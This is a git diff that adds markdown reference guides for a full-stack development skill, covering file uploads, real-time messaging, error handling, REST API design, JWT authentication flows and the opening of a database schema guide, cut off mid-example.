+## 10. File Upload Patterns (MEDIUM) + +### Option A: Presigned URL (Recommended for Large Files) + +``` +Client → GET /api/uploads/presign?filename=photo.jpg&type=image/jpeg +Server → { uploadUrl: "https://s3.../presigned", fileKey: "uploads/abc123.jpg" } +Client → PUT uploadUrl (direct to S3, bypasses your server) +Client → POST /api/photos { fileKey: "uploads/abc123.jpg" } (save reference) +``` + +**Backend:** +```typescript +app.get('/api/uploads/presign', authenticate, async (req, res) => { + const { filename, type } = req.query; + const key = `uploads/${crypto.randomUUID()}-${filename}`; + const url = await s3.getSignedUrl('putObject', { + Bucket: process.env.S3_BUCKET, Key: key, + ContentType: type, Expires: 300, // 5 min + }); + res.json({ uploadUrl: url, fileKey: key }); +}); +``` + +**Frontend:** +```typescript +async function uploadFile(file: File) { + const { uploadUrl, fileKey } = await apiClient.get( + `/api/uploads/presign?filename=${file.name}&type=${file.type}` + ); + await fetch(uploadUrl, { method: 'PUT', body: file, headers: { 'Content-Type': file.type } }); + return apiClient.post('/api/photos', { fileKey }); +} +``` + +### Option B: Multipart (Small Files < 10MB) + +```typescript +// Frontend +const formData = new FormData(); +formData.append('file', file); +formData.append('description', 'Profile photo'); +const res = await fetch('/api/upload', { method: 'POST', body: formData }); +// Note: do NOT set Content-Type header — browser sets boundary automatically +``` + +### Decision + +| Method | File Size | Server Load | Complexity | +|--------|-----------|-------------|------------| +| Presigned URL | Any (recommended > 5MB) | None (direct to storage) | Medium | +| Multipart | < 10MB | High (streams through server) | Low | +| Chunked / Resumable | > 100MB | Medium | High | + +--- + +## 11. Real-Time Patterns (MEDIUM) + +### Option A: Server-Sent Events (SSE) — One-Way Server → Client + +Best for: notifications, live feeds, streaming AI responses. + +**Backend (Express):** +```typescript +app.get('/api/events', authenticate, (req, res) => { + res.writeHead(200, { + 'Content-Type': 'text/event-stream', + 'Cache-Control': 'no-cache', + Connection: 'keep-alive', + }); + const send = (event: string, data: unknown) => { + res.write(`event: ${event}\ndata: ${JSON.stringify(data)}\n\n`); + }; + const unsubscribe = eventBus.subscribe(req.user.id, (event) => { + send(event.type, event.payload); + }); + req.on('close', () => unsubscribe()); +}); +``` + +**Frontend:** +```typescript +function useServerEvents(userId: string) { + useEffect(() => { + const source = new EventSource(`/api/events?userId=${userId}`); + source.addEventListener('notification', (e) => { + showToast(JSON.parse(e.data).message); + }); + source.onerror = () => { source.close(); setTimeout(() => /* reconnect */, 3000); }; + return () => source.close(); + }, [userId]); +} +``` + +### Option B: WebSocket — Bidirectional + +Best for: chat, collaborative editing, gaming. + +**Backend (ws library):** +```typescript +import { WebSocketServer } from 'ws'; +const wss = new WebSocketServer({ server: httpServer, path: '/ws' }); +wss.on('connection', (ws, req) => { + const userId = authenticateWs(req); + if (!userId) { ws.close(4001, 'Unauthorized'); return; } + ws.on('message', (raw) => handleMessage(userId, JSON.parse(raw.toString()))); + ws.on('close', () => cleanupUser(userId)); + const interval = setInterval(() => ws.ping(), 30000); + ws.on('pong', () => { /* alive */ }); + ws.on('close', () => clearInterval(interval)); +}); +``` + +**Frontend:** +```typescript +function useWebSocket(url: string) { + const [ws, setWs] = useState(null); + useEffect(() => { + const socket = new WebSocket(url); + socket.onopen = () => setWs(socket); + socket.onclose = () => setTimeout(() => /* reconnect */, 3000); + return () => socket.close(); + }, [url]); + const send = useCallback((data: unknown) => ws?.send(JSON.stringify(data)), [ws]); + return { ws, send }; +} +``` + +### Option C: Polling (Simplest, No Infrastructure) + +```typescript +function useOrderStatus(orderId: string) { + return useQuery({ + queryKey: ['order-status', orderId], + queryFn: () => apiClient.get(`/api/orders/${orderId}`), + refetchInterval: (query) => { + if (query.state.data?.status === 'completed') return false; + return 5000; + }, + }); +} +``` + +### Decision + +| Method | Direction | Complexity | When | +|--------|-----------|------------|------| +| Polling | Client → Server | Low | Simple status checks, < 10 clients | +| SSE | Server → Client | Medium | Notifications, feeds, AI streaming | +| WebSocket | Bidirectional | High | Chat, collaboration, gaming | + +--- + +## 12. Cross-Boundary Error Handling (MEDIUM) + +### API Error → User-Facing Message + +```typescript +// lib/error-handler.ts +export function getErrorMessage(error: unknown): string { + if (error instanceof ApiError) { + switch (error.status) { + case 401: return 'Please log in to continue.'; + case 403: return 'You don\'t have permission to do this.'; + case 404: return 'The item you\'re looking for doesn\'t exist.'; + case 409: return 'This conflicts with an existing item.'; + case 422: + const fields = error.body?.errors; + if (fields?.length) return fields.map((f: any) => f.message).join('. '); + return 'Please check your input.'; + case 429: return 'Too many requests. Please wait a moment.'; + default: return 'Something went wrong. Please try again.'; + } + } + if (error instanceof TypeError && error.message === 'Failed to fetch') { + return 'Cannot connect to server. Check your internet connection.'; + } + return 'An unexpected error occurred.'; +} +``` + +### React Query Global Error Handler + +```typescript +const queryClient = new QueryClient({ + defaultOptions: { + mutations: { onError: (error) => toast.error(getErrorMessage(error)) }, + queries: { + retry: (failureCount, error) => { + if (error instanceof ApiError && error.status < 500) return false; + return failureCount < 3; + }, + }, + }, +}); +``` + +### Rules + +``` +✅ Map every API error code to a human-readable message +✅ Show field-level validation errors next to form inputs +✅ Auto-retry on 5xx (max 3, with backoff), never on 4xx +✅ Redirect to login on 401 (after refresh attempt fails) +✅ Show "offline" banner when fetch fails with TypeError + +❌ Never show raw API error messages to users ("NullPointerException") +❌ Never silently swallow errors (show toast or log) +❌ Never retry 4xx errors (client is wrong, retrying won't help) +``` + +### Integration Decision Tree + +``` +Same team owns frontend + backend? +│ +├─ YES, both TypeScript +│ └─ tRPC (end-to-end type safety, zero codegen) +│ +├─ YES, different languages +│ └─ OpenAPI spec → generated client (type safety via codegen) +│ +├─ NO, public API +│ └─ REST + OpenAPI → generated SDKs for consumers +│ +└─ Complex data needs, multiple frontends + └─ GraphQL + codegen (flexible queries per client) + +Real-time needed? +│ +├─ Server → Client only (notifications, feeds, AI streaming) +│ └─ SSE (simplest, auto-reconnect, works through proxies) +│ +├─ Bidirectional (chat, collaboration) +│ └─ WebSocket (need heartbeat + reconnection logic) +│ +└─ Simple status polling (< 10 clients) + └─ React Query refetchInterval (no infrastructure needed) +``` + +--- + +## 13. Production Hardening (MEDIUM) + +### Health Checks + +```typescript +app.get('/health', (req, res) => res.json({ status: 'ok' })); // liveness +app.get('/ready', async (req, res) => { // readiness + const checks = { + database: await checkDb(), redis: await checkRedis(), + }; + const ok = Object.values(checks).every(c => c.status === 'ok'); + res.status(ok ? 200 : 503).json({ status: ok ? 'ok' : 'degraded', checks }); +}); +``` + +### Graceful Shutdown + +```typescript +process.on('SIGTERM', async () => { + logger.info('SIGTERM received'); + server.close(); // stop new connections + await drainConnections(); // finish in-flight + await closeDatabase(); + process.exit(0); +}); +``` + +### Security Checklist + +``` +✅ CORS: explicit origins (never '*' in production) +✅ Security headers (helmet / equivalent) +✅ Rate limiting on public endpoints +✅ Input validation on ALL endpoints (trust nothing) +✅ HTTPS enforced +❌ Never expose internal errors to clients +``` + +--- + +## Anti-Patterns + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | Business logic in routes/controllers | Move to service layer | +| 2 | `process.env` scattered everywhere | Centralized typed config | +| 3 | `console.log` for logging | Structured JSON logger | +| 4 | Generic `Error('oops')` | Typed error hierarchy | +| 5 | Direct DB calls in controllers | Repository pattern | +| 6 | No input validation | Validate at boundary (Zod/Pydantic) | +| 7 | Catching errors silently | Log + rethrow or return error | +| 8 | No health check endpoints | `/health` + `/ready` | +| 9 | Hardcoded config/secrets | Environment variables | +| 10 | No graceful shutdown | Handle SIGTERM properly | +| 11 | Hardcode API URL in frontend | Environment variable (`NEXT_PUBLIC_API_URL`) | +| 12 | Store JWT in localStorage | Memory + httpOnly refresh cookie | +| 13 | Show raw API errors to users | Map to human-readable messages | +| 14 | Retry 4xx errors | Only retry 5xx (server failures) | +| 15 | Skip loading states | Skeleton/spinner while fetching | +| 16 | Upload large files through API server | Presigned URL → direct to S3 | +| 17 | Poll for real-time data | SSE or WebSocket | +| 18 | Duplicate types frontend + backend | Shared types, tRPC, or OpenAPI codegen | + +--- + +## Common Issues + +### Issue 1: "Where does this business rule go?" + +**Rule:** If it involves HTTP (request parsing, status codes, headers) → controller. If it involves business decisions (pricing, permissions, rules) → service. If it touches the database → repository. + +### Issue 2: "Service is getting too big" + +**Symptom:** One service file > 500 lines with 20+ methods. + +**Fix:** Split by sub-domain. `OrderService` → `OrderCreationService` + `OrderFulfillmentService` + `OrderQueryService`. Each focused on one workflow. + +### Issue 3: "Tests are slow because they hit the database" + +**Fix:** Unit tests mock the repository layer (fast). Integration tests use test containers or transaction rollback (real DB, still fast). Never mock the service layer in integration tests. + +--- + +## Reference Documents + +This skill includes deep-dive references for specialized topics. Read the relevant reference when you need detailed guidance. + +| Need to… | Reference | +|----------|-----------| +| Write backend tests (unit, integration, e2e, contract, performance) | [references/testing-strategy.md](references/testing-strategy.md) | +| Validate a release before deployment (6-gate checklist) | [references/release-checklist.md](references/release-checklist.md) | +| Choose a tech stack (language, framework, database, infra) | [references/technology-selection.md](references/technology-selection.md) | +| Build with Django / DRF (models, views, serializers, admin) | [references/django-best-practices.md](references/django-best-practices.md) | +| Design REST/GraphQL/gRPC endpoints (URLs, status codes, pagination) | [references/api-design.md](references/api-design.md) | +| Design database schema, indexes, migrations, multi-tenancy | [references/db-schema.md](references/db-schema.md) | +| Auth flow (JWT bearer, token refresh, Next.js SSR, RBAC, middleware order) | [references/auth-flow.md](references/auth-flow.md) | +| CORS config, env vars per environment, common CORS issues | [references/environment-management.md](references/environment-management.md) | diff --git a/skills/fullstack-dev/references/api-design.md b/skills/fullstack-dev/references/api-design.md new file mode 100644 index 0000000..bf73a25 --- /dev/null +++ b/skills/fullstack-dev/references/api-design.md @@ -0,0 +1,444 @@ +--- +name: fullstack-dev-api-design +description: "API design patterns and best practices. Use when creating endpoints, choosing methods/status codes, implementing pagination, or writing OpenAPI specs. Prevents common REST/GraphQL/gRPC mistakes." +license: MIT +metadata: + version: "2.0.0" + sources: + - Microsoft REST API Guidelines + - Google API Design Guide + - Zalando RESTful API Guidelines + - JSON:API Specification + - RFC 9457 (Problem Details for HTTP APIs) + - RFC 9110 (HTTP Semantics) +--- + +# API Design Guidelines + +Framework-agnostic API design guide for backend and full-stack engineers. 50+ rules across 10 categories, prioritized by impact. Covers REST, GraphQL, and gRPC. + +## Scope + +**USE this skill when:** +- Designing a new API or adding endpoints +- Reviewing API pull requests +- Choosing between REST / GraphQL / gRPC +- Writing OpenAPI specifications +- Migrating or versioning an existing API + +**NOT for:** +- Framework-specific implementation details (use your framework's own skill/docs) +- Frontend data fetching patterns (use React Query / SWR docs) +- Authentication implementation details (use your auth library's docs) +- Database schema design (→ `database-schema-design`) + +## Context Required + +Before applying this skill, gather: + +| Required | Optional | +|----------|----------| +| Target consumers (browser, mobile, service) | Existing API conventions in the project | +| Expected request volume (RPS estimate) | Current OpenAPI / Swagger spec | +| Authentication method (JWT, API key, OAuth) | Rate limiting requirements | +| Data model / domain entities | Caching strategy | + +--- + +## Quick Start Checklist + +New API endpoint? Run through this before writing code: + +- [ ] Resource named as **plural noun** (`/orders`, not `/getOrders`) +- [ ] URL in **kebab-case**, body fields in **camelCase** +- [ ] Correct **HTTP method** (GET=read, POST=create, PUT=replace, PATCH=partial, DELETE=remove) +- [ ] Correct **status code** (201 Created, 422 Validation, 404 Not Found…) +- [ ] Error response follows **RFC 9457** envelope +- [ ] **Pagination** on all list endpoints (default 20, max 100) +- [ ] **Authentication** required (Bearer token, not query param) +- [ ] **Request ID** in response header (`X-Request-Id`) +- [ ] **Rate limit** headers included +- [ ] Endpoint documented in **OpenAPI spec** + +--- + +## Quick Navigation + +| Need to… | Jump to | +|----------|---------| +| Name a resource URL | [1. Resource Modeling](#1-resource-modeling-critical) | +| Pick HTTP method + status code | [3. HTTP Methods & Status Codes](#3-http-methods--status-codes-critical) | +| Format error responses | [4. Error Handling](#4-error-handling-high) | +| Add pagination or filtering | [6. Pagination & Filtering](#6-pagination--filtering-high) | +| Choose API style (REST vs GraphQL vs gRPC) | [10. API Style Decision](#10-api-style-decision-tree) | +| Version an existing API | [7. Versioning](#7-versioning-medium-high) | +| Avoid common mistakes | [Anti-Patterns](#anti-patterns-checklist) | + +--- + +## 1. Resource Modeling (CRITICAL) + +### Core Rules + +``` +✅ /users — plural noun +✅ /users/{id}/orders — 1 level nesting +✅ /reviews?orderId={oid} — flatten deep nesting with query params + +❌ /getUsers — verb in URL +❌ /user — singular +❌ /users/{uid}/orders/{oid}/items/{iid}/reviews — 3+ levels deep +``` + +**Max nesting: 2 levels.** Beyond that, promote to top-level resource with filters. + +### Domain Alignment + +Resources map to **domain concepts**, not database tables: + +``` +✅ /checkout-sessions (domain aggregate) +✅ /shipping-labels (domain concept) + +❌ /tbl_order_header (database table leak) +❌ /join_user_role (internal schema leak) +``` + +--- + +## 2. URL & Naming (CRITICAL) + +| Context | Convention | Example | +|---------|-----------|---------| +| URL path | kebab-case | `/order-items` | +| JSON body fields | camelCase | `{ "firstName": "Jane" }` | +| Query params | camelCase or snake_case (be consistent) | `?sortBy=createdAt` | +| Headers | Train-Case | `X-Request-Id` | + +**Python exception:** If your entire stack is Python/snake_case, you MAY use `snake_case` in JSON — but be **consistent across all endpoints**. + +``` +✅ GET /users ❌ GET /users/ +✅ GET /reports/annual ❌ GET /reports/annual.json +✅ POST /users ❌ POST /users/create +``` + +--- + +## 3. HTTP Methods & Status Codes (CRITICAL) + +### Method Semantics + +| Method | Semantics | Idempotent | Safe | Request Body | +|--------|-----------|-----------|------|-------------| +| GET | Read | ✅ | ✅ | ❌ Never | +| POST | Create / Action | ❌ | ❌ | ✅ Always | +| PUT | Full replace | ✅ | ❌ | ✅ Always | +| PATCH | Partial update | ❌* | ❌ | ✅ Always | +| DELETE | Remove | ✅ | ❌ | ❌ Rarely | + +### Status Code Quick Reference + +**Success:** + +| Code | When | Response Body | +|------|------|--------------| +| 200 OK | GET, PUT, PATCH success | Resource / result | +| 201 Created | POST created resource | Created resource + `Location` header | +| 202 Accepted | Async operation started | Job ID / status URL | +| 204 No Content | DELETE success, PUT with no body | None | + +**Client Errors:** + +| Code | When | Key Distinction | +|------|------|-----------------| +| 400 Bad Request | Malformed syntax | Can't even parse | +| 401 Unauthorized | Missing / invalid auth | "Who are you?" | +| 403 Forbidden | Authenticated, no permission | "I know you, but no" | +| 404 Not Found | Resource doesn't exist | Also use to hide 403 | +| 409 Conflict | Duplicate, version mismatch | State conflict | +| 422 Unprocessable | Valid syntax, failed validation | Semantic errors | +| 429 Too Many Requests | Rate limit hit | Include `Retry-After` | + +**Server Errors:** 500 (unexpected), 502 (upstream fail), 503 (overloaded), 504 (upstream timeout) + +--- + +## 4. Error Handling (HIGH) + +### Standard Error Envelope (RFC 9457) + +Every error response uses this format: + +```json +{ + "type": "https://api.example.com/errors/insufficient-funds", + "title": "Insufficient Funds", + "status": 422, + "detail": "Account balance $10.00 is less than withdrawal $50.00.", + "instance": "/transactions/txn_abc123", + "request_id": "req_7f3a8b2c", + "errors": [ + { "field": "amount", "message": "Exceeds balance", "code": "INSUFFICIENT_BALANCE" } + ] +} +``` + +### Multi-Language Implementation + +**TypeScript (Express):** +```typescript +class AppError extends Error { + constructor( + public readonly title: string, + public readonly status: number, + public readonly detail: string, + public readonly code: string, + ) { super(detail); } +} + +// Middleware +app.use((err, req, res, next) => { + if (err instanceof AppError) { + return res.status(err.status).json({ + type: `https://api.example.com/errors/${err.code}`, + title: err.title, status: err.status, + detail: err.detail, request_id: req.id, + }); + } + res.status(500).json({ title: 'Internal Error', status: 500, request_id: req.id }); +}); +``` + +**Python (FastAPI):** +```python +from fastapi import Request +from fastapi.responses import JSONResponse + +class AppError(Exception): + def __init__(self, title: str, status: int, detail: str, code: str): + self.title, self.status, self.detail, self.code = title, status, detail, code + +@app.exception_handler(AppError) +async def app_error_handler(request: Request, exc: AppError): + return JSONResponse(status_code=exc.status, content={ + "type": f"https://api.example.com/errors/{exc.code}", + "title": exc.title, "status": exc.status, + "detail": exc.detail, "request_id": request.state.request_id, + }) +``` + +### Iron Rules + +``` +✅ Return RFC 9457 error envelope for ALL errors +✅ Include request_id in every error response +✅ Return per-field validation errors in `errors` array + +❌ Never expose stack traces in production +❌ Never return 200 for errors +❌ Never swallow errors silently +``` + +--- + +## 5. Authentication & Authorization (HIGH) + +``` +✅ Authorization: Bearer eyJhbGci... (header) +❌ GET /users?token=eyJhbGci... (URL — appears in logs) + +✅ 401 → "Who are you?" (missing/invalid credentials) +✅ 403 → "You can't do this" (authenticated, no permission) +✅ 404 → Hide resource existence (use instead of 403 when needed) +``` + +**Rate Limit Headers (always include):** +``` +X-RateLimit-Limit: 100 +X-RateLimit-Remaining: 42 +X-RateLimit-Reset: 1625097600 +Retry-After: 30 +``` + +--- + +## 6. Pagination & Filtering (HIGH) + +### Cursor vs Offset + +| Strategy | When | Pros | Cons | +|----------|------|------|------| +| **Cursor** (preferred) | Large/dynamic datasets | Consistent, no skips | Can't jump to page N | +| **Offset** | Small/stable datasets, admin UIs | Simple, page jumps | Drift on insert/delete | + +**Cursor pagination response:** +```json +{ + "data": [...], + "pagination": { "next_cursor": "eyJpZCI6MTIwfQ", "has_more": true } +} +``` + +**Offset pagination response:** +```json +{ + "data": [...], + "pagination": { "page": 3, "per_page": 20, "total": 256, "total_pages": 13 } +} +``` + +**Always enforce:** Default 20 items, max 100 items. + +### Standard Filter Patterns + +``` +GET /orders?status=shipped&created_after=2025-01-01&sort=-created_at&fields=id,status +``` + +| Pattern | Convention | +|---------|-----------| +| Exact match | `?status=shipped` | +| Range | `?price_gte=10&price_lte=100` | +| Date range | `?created_after=2025-01-01&created_before=2025-12-31` | +| Sort | `?sort=field` (asc), `?sort=-field` (desc) | +| Sparse fields | `?fields=id,name,email` | +| Search | `?q=search+term` | + +--- + +## 7. Versioning (MEDIUM-HIGH) + +| Strategy | Format | Best For | +|----------|--------|----------| +| **URL path** (recommended) | `/v1/users` | Public APIs | +| **Header** | `Api-Version: 2` | Internal APIs | +| **Query param** | `?version=2` | Legacy (avoid) | + +**Non-breaking changes (no version bump):** New optional response fields, new endpoints, new optional params. + +**Breaking changes (new version required):** Removing/renaming fields, changing types, stricter validation, removing endpoints. + +**Deprecation headers:** +``` +Sunset: Sat, 01 Mar 2026 00:00:00 GMT +Deprecation: true +Link: ; rel="successor-version" +``` + +--- + +## 8. Request / Response Design (MEDIUM) + +### Consistent Envelope + +```json +{ + "data": { "id": "ord_123", "status": "pending", "total": 99.50 }, + "meta": { "request_id": "req_abc123", "timestamp": "2025-06-15T10:30:00Z" } +} +``` + +### Key Rules + +| Rule | Correct | Wrong | +|------|---------|-------| +| Timestamps | `"2025-06-15T10:30:00Z"` (ISO 8601) | `"06/15/2025"` or `1718447400` | +| Public IDs | UUID `"550e8400-..."` | Auto-increment `42` | +| Null vs absent (PATCH) | `{ "nickname": null }` = clear field | Absent field = don't change | +| HATEOAS (public APIs) | `"links": { "cancel": "/orders/123/cancel" }` | No discoverability | + +--- + +## 9. Documentation — OpenAPI (MEDIUM) + +**Design-first workflow:** + +``` +1. Write OpenAPI 3.1 spec +2. Review spec with stakeholders +3. Generate server stubs + client SDKs +4. Implement handlers +5. Validate responses against spec in CI +``` + +Every endpoint documents: summary, all parameters, request body + examples, all response codes + schemas, auth requirements. + +--- + +## 10. API Style Decision Tree + +``` +What kind of API? +│ +├─ Browser + mobile clients, flexible queries +│ └─ GraphQL +│ Rules: DataLoader (no N+1), depth limit ≤7, Relay pagination +│ +├─ Standard CRUD, public consumers, caching important +│ └─ REST (this guide) +│ Rules: Resources, HTTP methods, status codes, OpenAPI +│ +├─ Service-to-service, high throughput, strong typing +│ └─ gRPC +│ Rules: Protobuf schemas, streaming for large data, deadlines +│ +├─ Full-stack TypeScript, same team owns client + server +│ └─ tRPC +│ Rules: Shared types, no code generation needed +│ +└─ Real-time bidirectional + └─ WebSocket / SSE + Rules: Heartbeat, reconnection, message ordering +``` + +--- + +## Anti-Patterns Checklist + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | Verbs in URLs (`/getUser`) | HTTP methods + noun resources | +| 2 | Return 200 for errors | Correct 4xx/5xx status codes | +| 3 | Mix naming styles | One convention per context | +| 4 | Expose database IDs | UUIDs for public identifiers | +| 5 | No pagination on lists | Always paginate (default 20) | +| 6 | Swallow errors silently | Structured RFC 9457 errors | +| 7 | Token in URL query | Authorization header | +| 8 | Deep nesting (3+ levels) | Flatten with query params | +| 9 | Break changes without version | Maintain compatibility or version | +| 10 | No rate limiting | Implement + communicate via headers | +| 11 | No request ID | `X-Request-Id` on every response | +| 12 | Stack traces in production | Safe error message + internal log | + +--- + +## Common Issues + +### Issue 1: "Should this be a new resource or a sub-resource?" + +**Symptom:** URL path keeps growing (`/users/{id}/orders/{id}/items/{id}/reviews`) + +**Rule:** If the child entity makes sense on its own, promote it. If it only exists within the parent context, keep it nested (max 2 levels). + +``` +/reviews?orderId=123 ✅ (reviews exist independently) +/orders/{id}/items ✅ (items belong to orders, 1 level) +``` + +### Issue 2: "PUT or PATCH?" + +**Symptom:** Team can't agree on update semantics. + +**Rule:** +- PUT = client sends **complete** resource (missing fields → set to default/null) +- PATCH = client sends **only changed fields** (missing fields → unchanged) +- When unsure → **PATCH** (safer, less surprising) + +### Issue 3: "400 or 422?" + +**Symptom:** Inconsistent validation error codes. + +**Rule:** +- 400 = can't parse request at all (malformed JSON, wrong content-type) +- 422 = parsed OK, but values fail validation (invalid email, negative quantity) diff --git a/skills/fullstack-dev/references/auth-flow.md b/skills/fullstack-dev/references/auth-flow.md new file mode 100644 index 0000000..8c71351 --- /dev/null +++ b/skills/fullstack-dev/references/auth-flow.md @@ -0,0 +1,165 @@ +# Authentication Flow Patterns + +Complete auth flow across frontend and backend. Covers JWT bearer flow, automatic token refresh, Next.js server-side auth, RBAC, and backend middleware order. + +--- + +## JWT Bearer Flow (Most Common) + +``` +1. Login + Client → POST /api/auth/login { email, password } + Server → { accessToken (15min), refreshToken (7d, httpOnly cookie) } + +2. Authenticated Requests + Client → GET /api/orders Authorization: Bearer + Server → validates JWT → returns data + +3. Token Refresh (transparent) + Client → 401 received → POST /api/auth/refresh (cookie auto-sent) + Server → new accessToken + Client → retry original request with new token + +4. Logout + Client → POST /api/auth/logout + Server → invalidate refresh token → clear cookie +``` + +--- + +## Frontend: Automatic Token Refresh + +```typescript +// lib/api-client.ts — add to existing fetch wrapper +async function apiWithRefresh(path: string, options: RequestInit = {}): Promise { + try { + return await api(path, options); + } catch (err) { + if (err instanceof ApiError && err.status === 401) { + // Try refresh + const refreshed = await api<{ accessToken: string }>('/api/auth/refresh', { + method: 'POST', + credentials: 'include', // send httpOnly cookie + }); + setAuthToken(refreshed.accessToken); + // Retry original request + return api(path, options); + } + throw err; + } +} +``` + +--- + +## Next.js: Server-Side Auth (App Router) + +```typescript +// middleware.ts — protect routes server-side +import { NextResponse } from 'next/server'; +import type { NextRequest } from 'next/server'; + +export function middleware(request: NextRequest) { + const token = request.cookies.get('session')?.value; + if (!token && request.nextUrl.pathname.startsWith('/dashboard')) { + return NextResponse.redirect(new URL('/login', request.url)); + } + return NextResponse.next(); +} + +// app/dashboard/page.tsx — server component with auth +import { cookies } from 'next/headers'; + +export default async function Dashboard() { + const token = (await cookies()).get('session')?.value; + const user = await fetch(`${process.env.API_URL}/api/me`, { + headers: { Authorization: `Bearer ${token}` }, + }).then(r => r.json()); + + return ; +} +``` + +--- + +## Backend: Standard Middleware Order + +``` +Request → 1.RequestID → 2.Logging → 3.CORS → 4.RateLimit → 5.BodyParse + → 6.Auth → 7.Authz → 8.Validation → 9.Handler → 10.ErrorHandler → Response +``` + +--- + +## Backend: JWT Rules + +``` +✅ Short expiry access token (15min) + refresh token (server-stored) +✅ Minimal claims: userId, roles (not entire user object) +✅ Rotate signing keys periodically + +❌ Never store tokens in localStorage (XSS risk) +❌ Never pass tokens in URL query params +``` + +--- + +## Backend: RBAC Pattern + +```typescript +function authorize(...roles: Role[]) { + return (req, res, next) => { + if (!req.user) throw new UnauthorizedError(); + if (!roles.some(r => req.user.roles.includes(r))) throw new ForbiddenError(); + next(); + }; +} +router.delete('/users/:id', authenticate, authorize('admin'), deleteUser); +``` + +--- + +## Auth Decision Table + +| Method | When | Frontend | +|--------|------|----------| +| Session | Same-domain, SSR, Django templates | Django templates / htmx | +| JWT | Different domain, SPA, mobile | React, Vue, mobile apps | +| OAuth2 | Third-party login, API consumers | Any | + +--- + +## Iron Rules + +``` +✅ Access token: short-lived (15min), in memory +✅ Refresh token: httpOnly cookie (XSS-safe) +✅ Automatic transparent refresh on 401 +✅ Redirect to login when refresh fails + +❌ Never store tokens in localStorage (XSS risk) +❌ Never send tokens in URL query params (logged) +❌ Never trust client-side auth checks alone (server must validate) +``` + +--- + +## Common Issues + +### Issue 1: "Auth works on page load but breaks on navigation" + +**Cause:** Token stored in component state (lost on unmount). + +**Fix:** Store access token in a persistent location: +- React Context (survives navigation, lost on refresh) +- Cookie (survives refresh) +- React Query cache with `staleTime: Infinity` for session + +### Issue 2: "CORS error with auth requests" + +**Cause:** Missing `credentials: 'include'` on frontend or `credentials: true` on backend CORS config. + +**Fix:** +1. Frontend: `fetch(url, { credentials: 'include' })` +2. Backend: `cors({ origin: 'https://your-frontend.com', credentials: true })` +3. Backend: explicit origin (not `*`) when using credentials diff --git a/skills/fullstack-dev/references/db-schema.md b/skills/fullstack-dev/references/db-schema.md new file mode 100644 index 0000000..c3442af --- /dev/null +++ b/skills/fullstack-dev/references/db-schema.md @@ -0,0 +1,706 @@ +--- +name: fullstack-dev-db-schema +description: "Database schema design and migrations. Use when creating tables, defining ORM models, adding indexes, or designing relationships. Covers zero-downtime migrations and multi-tenancy." +license: MIT +metadata: + version: "1.0.0" + sources: + - PostgreSQL official documentation + - Use The Index, Luke (use-the-index-luke.com) + - Designing Data-Intensive Applications (Martin Kleppmann) + - Database Reliability Engineering (Laine Campbell & Charity Majors) +--- + +# Database Schema Design + +ORM-agnostic guide for relational database schema design. Covers data modeling, normalization, indexing, migrations, multi-tenancy, and common application patterns. Primarily PostgreSQL-focused but principles apply to MySQL/MariaDB. + +## Scope + +**USE this skill when:** +- Designing a schema for a new project or feature +- Deciding between normalization and denormalization +- Choosing which indexes to create +- Planning a zero-downtime migration on a live database +- Implementing multi-tenant data isolation +- Adding audit trails, soft delete, or versioning +- Diagnosing slow queries caused by schema problems + +**NOT for:** +- Choosing which database technology to use (→ `technology-selection`) +- PostgreSQL-specific query tuning (use PostgreSQL performance docs) +- ORM-specific configuration (→ `django-best-practices` or your ORM's docs) +- Application-layer caching (→ `fullstack-dev-practices`) + +## Context Required + +| Required | Optional | +|----------|----------| +| Database engine (PostgreSQL / MySQL) | Expected data volume (rows, growth rate) | +| Domain entities and relationships | Read/write ratio | +| Key access patterns (queries) | Multi-tenant requirements | + +--- + +## Quick Start Checklist + +Designing a new schema: + +- [ ] **Domain entities identified** — map 1 entity = 1 table (not 1 class = 1 table) +- [ ] **Primary keys**: UUID for public IDs, serial/bigserial for internal-only +- [ ] **Foreign keys** with explicit `ON DELETE` behavior +- [ ] **NOT NULL** by default — nullable only when business logic requires it +- [ ] **Timestamps**: `created_at` + `updated_at` on every table +- [ ] **Indexes** created for every WHERE, JOIN, ORDER BY column +- [ ] **No premature denormalization** — start normalized, denormalize when measured +- [ ] **Naming convention** consistent: `snake_case`, plural table names + +--- + +## Quick Navigation + +| Need to… | Jump to | +|----------|---------| +| Model entities and relationships | [1. Data Modeling](#1-data-modeling-critical) | +| Decide normalize vs denormalize | [2. Normalization](#2-normalization-vs-denormalization-critical) | +| Choose the right index | [3. Indexing](#3-indexing-strategy-critical) | +| Run migrations safely on live DB | [4. Migrations](#4-zero-downtime-migrations-high) | +| Design multi-tenant schema | [5. Multi-Tenancy](#5-multi-tenant-design-high) | +| Add soft delete / audit trails | [6. Common Patterns](#6-common-schema-patterns-medium) | +| Partition large tables | [7. Partitioning](#7-table-partitioning-medium) | +| See anti-patterns | [Anti-Patterns](#anti-patterns) | + +--- + +## Core Principles (7 Rules) + +``` +1. ✅ Start normalized (3NF) — denormalize only when you have measured evidence +2. ✅ Every table has a primary key, created_at, updated_at +3. ✅ UUID for public-facing IDs, serial for internal join keys +4. ✅ NOT NULL by default — null is a business decision, not a lazy default +5. ✅ Index every column used in WHERE, JOIN, ORDER BY +6. ✅ Foreign keys enforced in database (not just application code) +7. ✅ Migrations are additive — never drop/rename in production without a multi-step plan +``` + +--- + +## 1. Data Modeling (CRITICAL) + +### Table Naming + +```sql +-- ✅ Plural, snake_case +CREATE TABLE orders (...); +CREATE TABLE order_items (...); +CREATE TABLE user_profiles (...); + +-- ❌ Singular, mixed case +CREATE TABLE Order (...); +CREATE TABLE OrderItem (...); +CREATE TABLE tbl_usr_prof (...); -- cryptic abbreviation +``` + +### Primary Keys + +| Strategy | When | Pros | Cons | +|----------|------|------|------| +| `bigserial` (auto-increment) | Internal tables, FK joins | Compact, fast joins | Enumerable, not safe for public IDs | +| `uuid` (v4 random) | Public-facing resources | Non-guessable, globally unique | Larger (16 bytes), random I/O on B-Tree | +| `uuid` v7 (time-sorted) | Public + needs ordering | Non-guessable + insert-friendly | Newer, less ecosystem support | +| `text` slug | URL-friendly resources | Human-readable | Must enforce uniqueness, updates expensive | + +**Recommended default:** + +```sql +CREATE TABLE orders ( + id bigserial PRIMARY KEY, -- internal FK target + public_id uuid NOT NULL DEFAULT gen_random_uuid() UNIQUE, -- API-facing + -- ... + created_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now() +); +``` + +### Relationships + +```sql +-- One-to-Many: user → orders +CREATE TABLE orders ( + id bigserial PRIMARY 